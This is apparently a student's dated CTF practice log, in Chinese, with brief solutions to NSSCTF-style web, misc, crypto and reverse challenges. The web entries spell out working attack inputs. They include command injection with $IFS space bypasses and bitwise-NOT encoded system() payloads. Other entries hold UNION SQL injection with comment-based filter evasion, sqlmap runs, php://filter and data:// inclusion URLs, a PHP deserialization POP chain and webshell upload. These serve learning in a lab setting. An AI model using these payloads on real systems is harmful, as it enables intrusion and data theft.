base64解码
访问test2222222222222.php
读一下php代码
检查是否设置了$a
,并且file_get_contents($a)
的返回值是否等于"I want flag",
如果条件满足,输出$flag
变量的值。
伪造data://协议:?a=data://text/plain,I want flag
③ [FSCTF 2023]webshell是啥捏
找到目录
过滤有flag的文件
2、Misc
[LitCTF 2023]这羽毛球怎么只有一半啊(恼 (初级)
010打开图片
010修改高度就可以看到flag
3、Crypto
[SWPUCTF 2021 新生赛]crypto7
md5解密
4、Reverse
[NISACTF 2022]sign-ezc++
没有壳
ida查看主函数
查看Human
flag进行了异或操作
脚本异或得到flag
2.5
1、Web
[GXYCTF 2019]Ping Ping Ping
输入127.0.0.1;ls
构造?ip=127.0.0.1;cat flag
空格被过滤,构造:?ip=127.0.0.1;cat$IFS$19flag.php
flag被过滤
折回去试试index
?ip=127.0.0.1;cat$IFS$9index.php
可以看到很多符号都被过滤了
还剩一个变量a
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php,查看源码
2、Misc
直接无法打开xlsx文件,010打开
发现存在txt文件,修改后缀名为zip
将得到xls文件用010打开 ,使用相同的方法得到zip文件
zip文件用010打开,找到密钥
Rc4key:ABCDEFGHIJKLMNOPQRSTUVWXYZ
Rc4密文:U2FsdGVkX19uI2lzmxYrQ9mc16y7la7qc7VTS8gLaUKa49gzXPclxRXVsRJxWz/p
3、Crypto
[SWPUCTF 2021 新生赛]ez_rsa
4、Reverse
①[NSSRound#3 Team]jump_by_jump
查壳
在ida中打开,找到主函数
发现爆红,并且无法反汇编
jz,jnz命令分别是当零标志位为1时和当零标志位位0时跳转,跳过loc_41188C的一个字节的指令去执行下面的内容
用快捷键D直接转换为data
看wp是花指令,我不太熟悉,直接shift+F12,可以看到flag
②[NISACTF 2022]string
查壳
查看主函数的伪代码
看函数列表有一个flag函数,点进去看伪代码
关键是seed
脚本得到flag
2.6
1、Web
[ZJCTF 2019]NiZhuanSiWei
构造?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
构造?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
最后进行反序列化,得到O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
构造:?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源码得到flag
2、Misc
在010和图片属性中没有找到相关
试试LSB,发现一张图片
保存是一张二维码
扫码得到flag
3、Crypto
[SWPUCTF 2021 新生赛]traditional
根据文件找到八卦图
对比得到flag
二进制为:001000100 001100001 000110000 000110001 001110011 001100001 001101100 001101100
改为ASCII码
4、Reverse
①[BJDCTF 2020]JustRE
查壳
查找main函数的伪代码,反复跟进,找到以下
点击19999次后显示flag
flag{1999902069a45792d233ac}
②[HNCTF 2022 Week1]贝斯是什么乐器啊?
查壳
base64解密
解码后依次加i循环
a = "NRQ@PAu;8j[+(R:2806.i" flag = "" for i in range(len(a)): flag += chr(ord(a[i]) + i) print(flag)
2.7
1、Web
[NSSCTF 2022 Spring Recruit]ezgame
大于65分就给 flag,修改条件
ScorePoint 后面改成100 ,每次点的时候就有100分
2、Misc
[NISACTF 2022]huaji?
010打开,是jpeg格式
重新分析图片,里面隐藏了flag.txt
文件分离后得到zip文件,需要密码,再次从010分析图片
奇怪的编码,一开始没认出来是base16
试了发现 ctf_NISA_2022 才是zip的解压密码
3、Crypto
[羊城杯 2021]Bigrsa
脚本如下
改为字节串(bytes)
4、Reverse
①[NSSCTF 2022 Spring Recruit]easy Python
给出代码的作用是 Base64 编码实现
将目标字符串进行解密
②[HNCTF 2022 Week1]X0r
查壳,发现无壳,拖进IDA,查看主函数的伪代码
要求我们输入一段字符串,经过操作后,再异或运算,得到的字符串再和字符串数组 arr[] 比较
将数组 arr[] 进行反编译得到flag
2.8
1、Web
[SWPUCTF 2021 新生赛]hardrce
用wllm传参
禁用了所有字母a~z,A~Z
禁用了“/”和白名单符号
那就需要绕过这些,进行取反
执行system('ls /');
构造POC链
得到
%8C%86%8C%8B%9A%92
%93%8C%DF%D0
构造:?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
得知flag的文件路径是/flllllaaaaaaggggggg
执行:system('cat /flllllaaaaaaggggggg');
构造POC链
得到
%8C%86%8C%8B%9A%92
%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98
构造:?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
2、Misc
用010找到密码,但不是压缩包的
将mp3文件分析得到莫斯代码进行解密
得到字符串d43963e92b012aab,将字符串进行md5解密得到密码n1ce_try
将得到gif截取出最清晰的帧
图片修改高度
提示Veni,Vidi,Vici,凯撒解密
3、Crypto
[SWPUCTF 2021 新生赛]crypto2
脚本
改为字节串(bytes)
4、Reverse
①[SWPUCTF 2022 新生赛]upx
upx壳
脱壳
ida抓到主函数查看伪码
将每个字符与2异或
②[SWPUCTF 2021 新生赛]fakebase
将 flag
中的每个字符转换为二进制形式的字符串在转为一个整数 b1,最后
使用自定义的 s_box
映射表,将整数转换为一个新的字符串
参考的wp脚本
2.9
1、Web
[SWPUCTF 2022 新生赛]ez_ez_php
看代码直接flag.php,果然不能得到flag,不过的到提示:php伪协议 和flag在flag中,不在flag.php
返回首页
存在 file
参数,就用substr函数检查该参数值的前三个字符是否为 "php",如果 file
参数的值以 "php" 开头,代码会执行 include()
函数
构造:?file=php://filter/convert.base64-encode/resource=flag
解码
2、Misc
[SWPU 2019]漂流记的马里奥
运行exe文件得到一个txt
不认识ntfs,搜了一下大概是需要查看ntfs数据流
下载NtfsStreamsEditor2查看
3、Crypto
[SWPU 2020]happy
题目附件
不知道p和q
原理:
hint1 = q + qp^3 = (1+p^3)q = q(1+p)(p^2-p+1)
hint2 = qp + qp^2 = q(1+p)p
gcd(hint1,hint2) = q(1+p)
p = hint2 / q(1+p)
q = gift // (p+1)
脚本
改为字节串(bytes)
4、Reverse
①马老师杀毒卫士
第一步查壳,发现无壳,我们可以用ida打开exe,在string(可以用shift+F12打开)查询和flag或ctf相关的词,可以找到怀疑对象,然后发现是栅栏密码,找一个工具解决它就可以啦
②[NISACTF 2022]ezpython
查壳
用 pyinstxtractor.py工具来进行反编译得到解析文件
修复src.pyc为src.py
提示的flag是错的
仔细看到try上方
flag = ' '
key = 'this is key'
print(decrypt1(base64.b64decode(decrypt2(flag, decrypt2('AAAAAAAAAAAfFwwRSAIWWQ==', key)))))
得到一个新的flag{5236cb7d-f4a7-4080-9bde-8b9e061609ad}
2.10
1、Web
[SWPUCTF 2021 新生赛]easyupload3.0
htaccess文件是Apache服务中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮助我们实现:网页301重定向、自定义404错误页面,改变文件扩展名、允许/阻止特定的用户或者目录的访问,禁止目录列表,配置默认文档等功能
先上传一个.htzccess,在上传图片文件,蚁剑连接
2、Misc
[NISACTF 2022]bqt
010打开,pdf后缀
修改后缀名打开
打开pdf全选发现隐藏文字
c8e9aca0c3f4e6e5f2a1a0d4e8e5a0e6ece1e7a0e9f3baa0e6ece1e7fbf7e5e6e5efe9e4eae7efe5e4f3e6e9eff2f0e5e6e4e6e7e7e6e4f3e5fd
可能是转进制,转为acill,发现不对
ascii的范围是0-127
每一个字节都减去128,再转换,得到flag
m = " "
n=""
for i in range(0,len(m),2):
hex = m[i:i+2]
n+= chr(int(hex,16)-128)
print(n)
3、Crypto
[安洵杯 2019]JustBase
题目是一些杂乱的字母和符号,但从题目和末尾的两个==号,猜测是base64加密
但题目未出现1-9数字,而base64不包含!@#$%等字符,所以考虑将字符!@#$%按照键盘替换成数字1-9.
手动替换
VGhlIGdlb2xvZ3kgb2YgdGhlIEVhcnRoJ3Mgc3VyZmFjZSBpcyBkb21pbmF0ZWQgYnkgdGhlIHBhcnRpY3VsYXIgcHJvcGVydGllcyBvZiB3YXRlci4gUHJlc2VudCBvbiBFYXJ0aCBpbiBzb2xpZCwgbGlxdWlkLCBhbmQgZ2FzZW91cyBzdGF0ZXMsIHdhdGVyIGlzIGV4Y2VwdGlvbmFsbHkgcmVhY3RpdmUuIEl0IGRpc3NvbHZlcywgdHJhbnNwb3J0cywgYW5kIHByZWNpcGl0YXRlcyBtYW55IGNoZW1pY2FsIGNvbXBvd5kcyBhbmQgaXMgY29uc3RhbnRseSBtb2RpZnlpbmcgdGhlIGZhY2Ugb2YgdGhlIEVhcnRoLiBFdmFwb3JhdGVkIGZyb20gdGhlIG9jZWFucywgd2F0ZXIgdmFwb3IgZm9ybXMgY2xvdWRzLCBzb21lIG9mIHdoaWNoIGFyZSB0cmFuc3BvcnRlZCBieSB3aW5kIG92ZXIgdGhlIGNvbnRpbmVudHMuIENvbmRlbnNhdGlvbiBmcm9tIHRoZSBjbG91ZHMgcHJvdmlkZXMgdGhlIGVzc2VudGlhbCBhZ2VudCBvZiBjb250aW5lbnRhbCBlcm9zaW9uOiByYWluLlRoZSByYXRlIAF0IHdoaWNoIGEgbW9sZWN1bGUgb2Ygd2F0ZXIgcGFzc2VzIHRob3VnaCB0aGUgY3ljbGUgaXMgbm90IHJhbmRvbQpBbmQgdGhlIGZsYWcgaXM6IENURnsyMi1RV0VSVFlVSU8tUExLSkhHRkRTLUFaWENWQk5NfQ==
4、Reverse
①树木的小秘密
第一步查壳,发现无壳后,用ida打开,搜素flag,可以根据查壳结果和 ida搜索发现要使用 pyinstxtractor.py工具来进行反编译
打开cmd,输入python pyinstxtractor.py easy_reverse.exe,会得到以下内容
同时我们会得到文件名为 easy_reverse.exe_extracted 的一个文件,打开找到123.py,用010打开,就可找到与flag有关的内容
我们可以发现这是base64密码,找一个解密工具,就可以得到flag了!
②[SWPUCTF 2022 新生赛]xor
查壳
ida分析
输入的字符串经过异或后要和v4比较
2.11
1、Web
[LitCTF 2023]Flag点击就送!
题目提示“只有管理员才能拿到”,打开环境直接输入admin
考虑管理员权限问题,直接抓了包,不过好像不对
那就只能考虑Cookie欺骗
(遇到问题:session伪造与Cookie欺骗)
2、Misc
[鹤城杯 2021]New MISC
附件是pdf文件,一开始不知道怎么做,看wp知道这是pdf隐写
wbStego4open下载,分析pdf隐藏信息
3、Crypto
[AFCTF 2018]BASE
附件主要由A-F,0-9组成,base16解码,用脚本解码
4、Reverse
①[SWPUCTF 2021 新生赛]easyapp
查壳
这个没有后缀的附件是个zip文件,修改后缀名
查解压出来的apk文件
ida分析
2.12
1、Web
[HDCTF 2023]Welcome To HDCTF 2023
第一:玩一下就可以得到flag
第二:查看源码,找到game.js,jsfuck加密,进行解密
JSFuck是一种基于JavaScript的加密技术,使用六个不同的字符([]()!+
)来编写和执行代码。
2、Misc
[SWPU 2020]耗子尾汁
试过不需要分离帧,010分析
有mp4文件,foremost分离
分离得到一个txt和mp4文件,很明显txt不对,分析mp4文件
base64解密,得到sign_in,不知道用处
继续010分析mp4,有txt文件
分离得到的zip需要密码,sign_in就是
The last layer is the single table replacement password:最后一层是单表替换密码
base64到base32到base16,lvueiakxudsyqehszqhykggsyylkvvi
最后单表替换密码,不是凯撒就是仿射
flagyouhavesignedinsuccessfully
3、Crypto
[AFCTF 2018]你能看出这是什么加密么
rsa加密
0x开头的十六进制,先转换进制再带入脚本
import gmpy2
from Crypto.Util.number import long_to_bytes
q =......
p =.....
e = .....
c =......
n = q*p
# print(n)
d = gmpy2.invert(e, (p - 1) * (q - 1))
print("d=",d)
m = pow(c, d, n)
print(m)
print(long_to_bytes(m))
4、Reverse
① [AFCTF 2018]凯撒
没有壳
查看主函数
sub_401850()函数:
②[HUBUCTF 2022 新生赛]help
查壳
ida分析
CreateMap是创造迷宫的函数,并在此创建断点
F7单步调试,直到找到地图
地图需要以16个为一组
check函数
s是path,x=15,y=1,迷宫的初始位置是(15,1)
main函数提到了,flag是path进行md5
path:wwdddwwwaaawwwwwwwwwddddssssdddssdsssssssdddwwwwddsssd
NSSCTF{a8622109e2fb1296e06d5eed6f78f954}
2.13
1、Web
[SWPUCTF 2021 新生赛]error(忘记截图了)
SQL注入
sqlmap -u " url /index.php?id=1" --batch
查看所有数据库:sqlmap -u " url /index.php?id=1" --dbs --batch
查看当前数据库:sqlmap -u " url /index.php?id=1" --current-db --batch
根据返回结果查看指定数据库下的所有表:sqlmap -u "url/index.php?id=1" -D test_db --tables --batch
根据返回结果查看指定数据库指定表中的所有列名
根据返回结果查看指定数据库指定表指定列中的所有内容
2、Misc
[LitCTF 2023]Osint小麦果汁
3、Crypto
[SWPUCTF 2021 新生赛]crypto4
p和q是两个相近的质数,yafu分解
from gmpy2 import invert
import sympy
import binascii
flag = .....
n = ......
e = int(0x10001)
factors = sympy.factorint(n)
prime_factors = [factor for factor in factors if sympy.isprime(factor)]
p = prime_factors[0]
q = prime_factors[1]
phi = (p - 1) * (q - 1)
d = invert(e, phi)
m = pow(flag, d, n)
print("素数因子:", prime_factors)
print("flag:", binascii.unhexlify(hex(m)[2:]))
4、Reverse
①[BJDCTF 2020]Easy
查壳
找到主函数
没用,看到ques
看wp,修改eip
②[HNCTF 2022 Week1]你知道什么是Py嘛?
检查输入字符串的长度是否为 35,并且第一个字符是否为 'N',
遍历输入字符串的每个字符,计算相邻字符的异或值,并与 arr
中的值进行比较
2.14
1、Web
[SWPUCTF 2021 新生赛]pop
GET方法上传序列化后的w00m
参数,构造pop链得到flag。
当admin='w44m'&&passwd='08067'时将会包含文件flag.php并输出flag,否则输出admin和passwd两个变量的值和nono
构造:
?w00m=O%3A4%3A"w22m"%3A1%3A{s%3A4%3A"w00m"%3BO%3A4%3A"w33m"%3A2%3A{s%3A4%3A"w00m"%3BO%3A4%3A"w44m"%3A2%3A{s%3A11%3A"%00w44m%00admin"%3Bs%3A4%3A"w44m"%3Bs%3A9%3A"%00*%00passwd"%3Bs%3A5%3A"08067"%3B}s%3A4%3A"w22m"%3Bs%3A7%3A"Getflag"%3B}}
2、Misc
[SWPU 2019]伟大的侦探
010打开
wllm_is_the_best_team!
得到很多图片
跳舞的小人图形密码
手搓:iloveholmesandwllm
3、Crypto
[SWPUCTF 2021 新生赛]crypto9
运行脚本
根据提示密钥为三位
4、Reverse
①[SWPUCTF 2022 新生赛]py2
发现程序是py打包好的exe文件
可疑文件re2
打开得到源码(没截图)
脚本如下
import base64
print("Input 'start' to start game:")
scanf = input()
if scanf == 'start':
exit(0)
if scanf == 'TlNTQ1RGe29oaGghXzNhc3lfcHlyZX0K':
print(base64.b64decode('TlNTQ1RGe29oaGghXzNhc3lfcHlyZX0K'.encode('UTF-8')))
os.system('pause')
else:
print("Please input 'start' to start game~")
②[SWPUCTF 2021 新生赛]老鼠走迷宫
反编译
将文件5和struct加上后缀.pyc
在010将struct的前16位十六进制数复制到5.pyc开头
将5反编译为py
下载下来,可以找到迷宫
脚本([NSSCTF]-Reverse:[SWPUCTF 2021 新生赛]老鼠走迷宫解析(python反编译,迷宫,最优路径算法)-CSDN博客
)
最后将得到的进行md5加密
2.15
1、Web
[LitCTF 2023]作业管理系统
先看看源码
看到默认账号,成功登录
上传php文件试试,成功上传
蚁剑连接,在根目录找到flag
2、Misc
[UTCTF 2020]Zero
题目提示
零宽隐写
flag{whyNOT@sc11_4927aajbqk14}
3、Crypto
[鹤城杯 2021]Crazy_Rsa_Tech
给出了9组n和c,并且e恒=9
参考wp:[鹤城杯 2021]Crazy_Rsa_Tech(低加密指数广播攻击)_crazy-rsa-tech-CSDN博客
4、Reverse
①[HGAME 2022 week1]easyasm
ida分析
不能查看伪码
找到一个错误的flag
看seg001
将ax清零,从数据段中拿出数据,向左偏移4,再清零ax(看不懂了)
②[羊城杯 2020]easyre
ida
经encode_one,encode_two,encode_three.三次加密得到EmBmP5Pmn7QcPU4gLYKv5QcMmB3PWHcP5YkPq3=cT6QckkPckoRG
encode_one:base64加密
encode_two:对加密后的数据13个一组进行位置转换。
encode_three:凯撒加密,位移为3.
第一凯撒
第二位置转换
BjYjM2Mjk4NzM
R1dIVHs2NzJjY
0MTEzM2VhMn0=
zQ3NzhhMzhlOD
R1dIVHs2NzJjYzQ3NzhhMzhlODBjYjM2Mjk4NzM0MTEzM2VhMn0=
第三base64
②[WUSTCTF 2020]level3
ida
base64
被换过表
直接换表不对
将 base64_table
数组的前 20 个元素进行逆序操作
-
base64_table[0]
和base64_table[19]
-
base64_table[1]
和base64_table[18]
-
...
-
base64_table[9]
和base64_table[10]
正确码表:TSRQPONMLKJIHGFEDCBAUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
2.16
1、Web
[鹏城杯 2022]简单包含
post直接传
试试伪协议:flag=php://filter/read=convert.base64-encode/resource=flag.php
没有效果(一度怀疑是伪协议写错了,原来是flag可能被过滤
那就换一个
flag=php://filter/read=convert.base64-encode/resource=index.php
可以在if中看到过滤
2、Misc
[鹤城杯 2021]Misc2
没有隐藏文件,图片属性也没有,最后试了LSB
3、Crypto
[SWPUCTF 2021 新生赛]crypto5
只有n和密文,这就不懂了,
提示:小明文攻击类型题目
from gmpy2 import iroot
import sympy
import binascii
flag = ......
n = .......
def small_m_atk(c, n):
e = 2
while e < 2 ** 10:
i = 0
while i < 10:
res = iroot(c + i * n, e)
if res[1]:
print("破解成功!", e, i, res)
return res[0]
print(e, i, res)
i += 1
e = sympy.nextprime(e)
print("flag:", binascii.unhexlify(hex(small_m_atk(flag, n))[2:]))
4、Reverse
①[MoeCTF 2022]Base
提示
无壳,直接ida
像base64,
②[SWPUCTF 2021 新生赛]astJS
附件是一个 JavaScript 的 AST(抽象语法树)表示,描述了一个包含函数定义和调用的程序
定义了一个函数 bE
,它接受两个参数:str
和 key,
数 bE
的作用是对字符串 str
中的每个字符进行异或操作,使用 key
作为异或的键
s = 'EXXH_MpjxBxYnjggrM~eerv'
f = 'NSSCTF'
for i in range(len(s)):
print(chr(11^ord(s[i])),end='')
2.17
1、Web
[SWPUCTF 2021 新生赛]finalrce
tee
命令可以将命令的输出“分流”到多个地方,既显示在屏幕上,又保存到文件中。
?url=l\s / | tee 1.txt
传入 ?url=tac /flllll\aaaaaaggggggg | tee 2.txt得到flag
2、Misc
[BJDCTF 2020]认真你就输了
解压的xls文件不能打开
010分析,应该是个zip
得到一堆文件
010提示在xl文件夹的charts文件夹找到flag
3、Crypto
[AFCTF 2018]Vigenère
先不管c文件,解密
暴力破解:Vigenere Solver | guballa.de
4、Reverse
①[HDCTF 2023]easy_asm
查壳
ida不能查看伪码
存在异或
这一串明显是密文,010更为明显
脚本如下
enc = b'XTSDVkZecdOqOu#ciOqC}m'
flag = []
for i in range(len(enc)):
flag.append(chr(enc[i]^0x10))
print("".join(flag))
②[羊城杯 2020]login
编辑
反编译
编辑
把struct和login的后缀名加上pyc
放入010,把struct中E3前的字节都插入login的最前方
编辑
在反编译login得到.py文件
输入的长度不是 14 个字符,程序会输出 Wrong length!
对输入字符串的前 13 个字符进行逐字符异或操作,将结果存储在 code 列表中,最后一个字符直接取其 ASCII 值。
异或后解方程最后MD5加密
2.18
1、Web
[SWPUCTF 2021 新生赛]sql
源码找到参数wllm
编辑
先输一个?wllm=1,回显正确
输入?wllm=1 ' ,报错
输入?wllm='1 %23报错,发现空格被过滤,这个/**/ 可以绕过
输入?wllm=1'/**/group/**/by/**/1%23直到/?wllm=1'/**/group/**/by/**/4%23,回显列数为3
输入?wllm=-1'/**/union/**/select/**/1,2,3%23,判断回显位
爆库名:?wllm=-1'/**/union/**/select/**/1,2,database()%23
爆表名:?wllm=-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23
爆字段:?wllm=-1'/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()%23
查flag:?wllm=-1'/**/union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_flag%23
flag不完整,可能长度被限制了,看wp知道下一步mid函数,没太搞懂
2、Misc
[SWPUCTF 2021 新生赛]我flag呢?
附件有很多干扰的flag
感觉挺蒙的,大佬说是词频统计
from collections import Counter
f = open('附件.txt', 'r') // 附件的地址
str = f.read()
str1 = ''
for i in range(len(str)):
if str[i] == "{":
str1 += str[i + 1:i + 17].lower()
cla = Counter(str1)
flag = cla.most_common()
print(flag)
for i in range(len(flag)):
print((flag[i][0]), end='')
f.close()
按大小次序排序,yourflagis81e57d2bc90364t
flag=NSSCTF{81e57d2bc90364},看wp才知道t不要
3、Crypto
[NSSCTF 2022 Spring Recruit]Vigenere
暴力破解
4、Reverse
①[HNCTF 2022 WEEK2]TTTTTTTTTea
ida查主函数
把flag放入v4数组中,对 v4
的后半部分(v4[8]
到 v4[13]
)进行 TEA 加密,tea_encrypt
函数对每对整数(v4[8]
和 v4[9]
,v4[10]
和 v4[11]
,v4[12]
和 v4[13]
)进行加密。
32 轮加密操作:对 v5
进行位移和异或操作,使用密钥表(a2
)中的值进行异或操作,更新 v6
和 v5
的值,更新轮数计数器 v4
②[CISCN 2022 东北]easycpp
查壳
ida分析主函数
sub_140002B60 函数将输入内容赋给Src,长度赋给Size
定义flag的长度38,对输入数据 Src
进行逐字节的异或操作,将处理后的数据 Src
与预设的数据 Buf2
进行比较
Buf2
在静态分析中找不到,就设置断点在v12 = &Buf2进行动态分析就可以找到密文
脚本如下:
key=[10, 11, 125, 47, 127, 103, 101, 48, 99, 96, 55, 63, 60, 63, 51, 58, 60, 59, 53, 60, 62, 108, 100, 49, 100, 108, 59, 104, 97, 98, 101, 54, 51, 96, 98, 54, 28, 125, 0] i=37 while i>2: key[i-1]=key[i-1]^key[i] key[i-2]=key[i-2]^key[i-1] key[i-3]=key[i-3]^key[i-2] i=i-1 flag="" for j in range(len(key)): flag+=chr(key[j]) print(flag)
2.19
1、Web
[NSSCTF 2022 Spring Recruit]babyphp
编辑
a不含数字而且intval取整数
a[]=0
编辑
b1不等于b2,但b1和b2的md5值相同,弱比较问题
a[]=0&b1[]=1&b2[]=2
编辑
传入c1和c2,且c1不等于c2,且c1和c2都要是字符串类型,
a[]=0&b1[]=1&b2[]=2&c1=QNKCDZO&c2=s878926199a
编辑
2、Misc
[SWPUCTF 2021 新生赛]zipbomb
zipbomb:压缩炸弹,也称为“死亡压缩包”(zip of death),是一种精心设计的压缩文件,其目的是在解压缩时消耗大量的计算资源,从而导致系统崩溃或程序无法正常运行
提示不解压,那怎么办?
看wp找了一个脚本
import os.path
import zipfile
import re
dir_path=' ' #压缩包地址
files= os.listdir(dir_path)
newfiles = ["zipbomb.zip"]
print(newfiles)
setee = []
for file in newfiles:
position = dir_path+'\\'+ file
print (position)
z = zipfile.ZipFile(position, 'r')
for filename in z.namelist():
bytes = z.read(filename)
if b'NSSCTF{' in bytes:
print(filename)
最后将得到的AAAA用010打开
3、Crypto
[BJDCTF 2020]rsa
给了两个密文
那就差e
from gmpy2 import gcd, invert
import binascii
c1 = 12641635617803746150332232646354596292707861480200207537199141183624438303757120570096741248020236666965755798009656547738616399025300123043766255518596149348930444599820675230046423373053051631932557230849083426859490183732303751744004874183062594856870318614289991675980063548316499486908923209627563871554875612702079100567018698992935818206109087568166097392314105717555482926141030505639571708876213167112187962584484065321545727594135175369233925922507794999607323536976824183162923385005669930403448853465141405846835919842908469787547341752365471892495204307644586161393228776042015534147913888338316244169120
n1 = 13508774104460209743306714034546704137247627344981133461801953479736017021401725818808462898375994767375627749494839671944543822403059978073813122441407612530658168942987820256786583006947001711749230193542370570950705530167921702835627122401475251039000775017381633900222474727396823708695063136246115652622259769634591309421761269548260984426148824641285010730983215377509255011298737827621611158032976420011662547854515610597955628898073569684158225678333474543920326532893446849808112837476684390030976472053905069855522297850688026960701186543428139843783907624317274796926248829543413464754127208843070331063037
n2 = 12806210903061368369054309575159360374022344774547459345216907128193957592938071815865954073287532545947370671838372144806539753829484356064919357285623305209600680570975224639214396805124350862772159272362778768036844634760917612708721787320159318432456050806227784435091161119982613987303255995543165395426658059462110056431392517548717447898084915167661172362984251201688639469652283452307712821398857016487590794996544468826705600332208535201443322267298747117528882985955375246424812616478327182399461709978893464093245135530135430007842223389360212803439850867615121148050034887767584693608776323252233254261047
# 提示给出
e = 52361
q = gcd(n1, n2)
p1 = n1 // q
phi1 = (p1 - 1) * (q - 1)
d1 = invert(e, phi1)
m1 = pow(c1, d1, n1)
print(q)
print("flag:", binascii.unhexlify(hex(m1)[2:]))
4、Reverse
①[MoeCTF 2022]begin
ida分析
输入的字符串 Str
的每个字符进行异或操作,使用的异或值为 0x19
将处理后的字符串 Str
与预设的正确字符串 Str2
进行比较
得到数组
脚本
arr = [.....]
flag = ''
for ch in arr:
flag += chr(ch ^ 0x19)
print(flag)
# moectf{X0r_1s_s0_int3r3sting!!!!!}
②[HNCTF 2022 WEEK2]来解个方程?
ida
查看check函数
字符串的长度22,线性方程验证输入字符串的字符值
找一个线性方程的脚本
from z3 import * import Solver s = Solver() n = 24 x = [Int('s' + str(i)) for i in range(0, 24)] s.add( ) if s.check() == sat: print(s.model()) m = s.model() ordered_solution = [m[x[i]].as_long() for i in range(2, n)] print("按顺序排列的解:", ordered_solution)
解出:
78,83,83,67,84,70,123,112,105,112,95,105,110,115,116,64,108,108,95,90,51,125
得到flag
2.20
1、Web
[HNCTF 2022 Week1]Interesting_include
php://filter用来读取源码
输入?filter=flag.php,什么都没有
伪协议:?filter=php://filter/convert.base64-encode/resource=flag.php
base64解密
2、Misc
[BJDCTF 2020]藏藏藏
010分析图片,查找常见的后缀名
隐藏docx文件,foremost文件分离
docx里面有一个二维码,识别得到flag
3、Crypto
[SWPUCTF 2021 新生赛]crypto1
共模攻击:用两个及以上的公钥(n,e)来加密同一条信息m
import gmpy2
import libnum
c1 =
c2=
n =
for e1 in range(1,3087):
if 3087 % e1 == 0 :
e2 = 3087 // e1
s0, s1, s2 = gcdext(e1,e2)
m_s0 = pow(c1,s1,n) * pow(c2,s2,n) % n
m = long_to_bytes(iroot(m_s0,s0)[0])
if m[0:6] == b'NSSCTF':
print(m)
4、Reverse
①[SWPUCTF 2022 新生赛]py1
这是一个介绍异或的题,第一种解法是按照题目计算
第二种解法pyinstxtractor.py反编译,将re1和struct后缀名改为pyc,在010将struct从E3开始到re1的E3之前的插入re1,反编译re1为py文件
②[WUSTCTF 2020]Cr0ssfun
无壳,ida打开
查看check
check
该函数直接调用了另一个函数 iven_is_handsome
继续追踪
数组 a1
进行了一系列的检查,调用另一个函数 iven_is_c0ol
经过很多的验证,得到
arr = [119,99,116,102,50,48,50,48,123,99,112,112,95,64,110,100,95,114,51,118,101,114,115,101,95,64,114,101,95,102,117,110,125]
脚本:
enc = [.......]
flag = " "
for i in range(len(enc)):
flag += chr(enc[i])
print(flag)
2.21
1、Web
[鹤城杯 2021]EasyP
POST 传入了 guess ,代码会将它与 $secret 进行比较,但不知道secret
出现utils.php和show_source过滤
GET传入show_source
所以我妈需要绕过show_source且不为空,使basename($_SERVER['PHP_SELF'])值为utils.php
2、Misc
[BJDCTF 2020]一叶障目
得到一张图片,010分析
修改图片高
png文件头:89 50 4E 47 0D 0A 1A 0A
图片宽:0010h的前四位
图片高:在宽后面
得到flag
3、Crypto
[BJDCTF 2020]EasyRSA
c,e,n已知,求出p,q即可
4、Reverse
①[SWPUCTF 2022 新生赛]贪吃蛇
wp:[SWPUCTF 2022 新生赛]贪吃蛇_ctf贪吃蛇-CSDN博客
没有壳
ida分析
胜利条件判断是减去了4,分数大于60得到flag
②[SWPUCTF 2023 秋季新生赛]UPX
脱壳
ida